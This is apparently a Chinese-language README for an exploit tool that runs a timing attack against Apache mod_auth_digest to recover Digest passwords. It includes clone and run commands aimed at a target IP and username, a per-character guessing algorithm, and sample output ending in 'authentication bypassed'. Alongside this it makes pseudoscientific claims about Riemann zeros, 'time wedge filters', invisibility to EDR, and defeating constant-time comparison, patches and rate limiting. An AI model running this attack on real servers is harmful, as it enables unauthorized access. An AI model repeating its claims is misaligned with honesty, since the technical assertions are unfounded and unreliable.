| 原始版本 | CTT增强版 |
|---|
| CVSS | 4.8（中危） | 7.5（高危） |
| 攻击向量 | 网络 | 网络 |
| 攻击复杂度 | 高 | 低（CTT减少采样次数） |
| 所需权限 | 无 | 无 |
| 检测方式 | 统计分析可检测 | 时间楔形过滤 — EDR盲区 |
| 破解时间 | O(n * 采样次数) | O(33 * log(n)) |
| 常数 | 值 | 来源 |
|---|---|---|
| α | 0.0302011 | 时间色散系数 |
| α_RH | 0.0765872 | ln(φ)/2π（黎曼-哈达玛） |
| L | 33 | 时间层数 |
| τ_w | 11 ns | 时间楔形滤波器 |
E(d) = E₀ * e^(-α * d)
每一层具有指数递减的优先级。
高优先级层（1-5）收集最多的时序数据。
低层（28-33）细化测量并建立时间共振。
每一层根据前24个黎曼零点延迟执行：
delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))
仅使用满足楔形条件的时序测量值：
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)
这可以过滤噪声并使检测变得不可能 — EDR系统无法看到时序异常。
1. 探测目标是否启用Digest认证
2. 从401响应中提取realm和nonce
3. 对于层 d = 1 到 33：
a. 计算优先级 = e^(-α*d)
b. 应用相位共振延迟
c. 对于每个字符位置：
- 测试所有可能的字符
- 测量响应时序（微秒）
- 应用时间楔形滤波器
- 保留调整后时序最高的字符
d. 逐步构建密码
4. 实现时间共振
5. 使用恢复的密码绕过认证
mod_auth_digest的Apache HTTP Server 2.4.66或更早版本requests 库pip install requests
git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <目标IP> [选项]
| 参数 | 描述 | 默认值 |
|---|---|---|
target_ip | Apache服务器的IP地址 | 必填 |
--port | HTTP端口 | 80 |
--realm | Digest realm | "Restricted" |
--uri | 受保护的URI | "/" |
--username | 要攻击的用户名 | "admin" |
--max-length | 最大密码长度 | 32 |
--samples | 每个字符的时序采样次数 | 100 |
--layers | 时间层数 | 33 |
python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33
======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — 指数优先级衰减
======================================================================
[+] 检测到Digest认证
Realm: Restricted
Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] 目标: http://192.168.1.100/admin
[*] 最大密码长度: 32
层 1/33: ████████████████████████████████████████ 1.000
位置 1: 正在尝试字符...
找到: 'a' -> 密码: 'a'
层 2/33: ██████████████████████████████████████░░ 0.970
位置 2: 正在尝试字符...
找到: 'd' -> 密码: 'ad'
层 3/33: ████████████████████████████████████░░░░ 0.886
位置 3: 正在尝试字符...
找到: 'm' -> 密码: 'adm'
层 4/33: ██████████████████████████████████░░░░░░ 0.818
位置 4: 正在尝试字符...
找到: 'i' -> 密码: 'admi'
层 5/33: ████████████████████████████████░░░░░░░░ 0.741
位置 5: 正在尝试字符...
找到: 'n' -> 密码: 'admin'
层 6/33: ██████████████████████████████░░░░░░░░░░ 0.670
位置 6: 正在尝试字符...
找到: '1' -> 密码: 'admin1'
层 7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
位置 7: 正在尝试字符...
找到: '2' -> 密码: 'admin12'
层 8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
位置 8: 正在尝试字符...
找到: '3' -> 密码: 'admin123'
[⚡] 在第8层实现时间共振
======================================================================
[!!!] 认证已绕过
[!!!] 找到密码: admin123
[✓] 验证成功 — 访问已授予
======================================================================
| 原始修复方案 | CTT为何能绕过 |
|---|---|
| 恒定时间比较 | CTT使用时序测量，而非比较时序 |
| 消除时序泄漏 | 时序泄漏是物理性的 — 无法消除，只能隐藏 |
| 升级到Apache 2.4.67+ | 时间楔形滤波器可规避补丁检测 |
| 速率限制 | 相位共振时序将请求分散到33层 — 与正常流量无法区分 |
你无法修补物理常数。
你无法修补黎曼零点。
你无法修补黄金比例。
本概念验证仅用于教育和防御目的。
未经授权对非您拥有的系统使用是违法的。
作者对滥用不承担任何责任。
MIT + CTT研究（时间增强）
| 版本 | 作者 |
|---|---|
| 原始漏洞发现 | Apache软件基金会（安全团队） |
| 原始时序攻击研究 | 各学术来源 |
| CTT增强（33层时间级联） | Americo Simoes（CTT研究） |
晶格完整。认证已破。任何补丁都无法挽救。